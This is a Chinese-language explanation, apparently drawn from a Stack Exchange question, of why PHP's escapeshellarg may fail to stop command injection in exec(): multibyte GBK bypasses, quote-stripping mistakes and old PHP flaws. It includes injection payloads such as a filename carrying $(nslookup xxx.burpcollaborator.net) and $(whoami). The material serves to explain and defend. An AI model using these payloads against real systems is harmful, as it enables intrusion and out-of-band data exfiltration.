使用escapeshellarg仍存在PHP exec()命令注入漏洞的原因咨询
核心原因分析
你遇到的情况通常由以下几种场景导致:
多字节编码绕过
这是最常见的突破方式。当PHP运行在GBK等多字节编码环境中时,若输入包含特定多字节字符(比如%df'),escapeshellarg会错误地将%df和后续的单引号识别为一个完整的多字节字符,因此不会对这个单引号进行转义。处理后的字符串会变成类似'filename%df'$(nslookup xxx.burpcollaborator.net).pdf',shell解析时会提前闭合单引号,直接执行注入的nslookup命令。错误的参数处理逻辑
如果代码里没有用escapeshellarg完整包裹用户输入——比如手动移除了处理后的前后单引号(比如写了substr(escapeshellarg($input), 1, -1)),或者把输入拆成多部分拼接后才调用escapeshellarg——都会让输入里的命令注入字符(比如$(...)、反引号)暴露在单引号之外,被shell解析执行。旧版本PHP的函数缺陷
PHP 5.4之前的部分版本中,escapeshellarg函数存在逻辑漏洞,在特定字符集或输入场景下无法正确转义特殊字符,导致注入风险。
针对你给出的示例说明
你提供的近似示例中,输入filename$(whoami).pdf经过escapeshellarg处理后会变成'filename$(whoami).pdf',单引号内的内容属于shell的强引用范围,不会解析命令替换,正常情况下不会执行whoami。但你实际能触发注入,说明你的真实输入包含了能突破escapeshellarg的特殊字符(比如多字节+单引号的组合),或者代码存在上述的参数处理错误。
内容的提问来源于stack exchange,提问作者Vishism

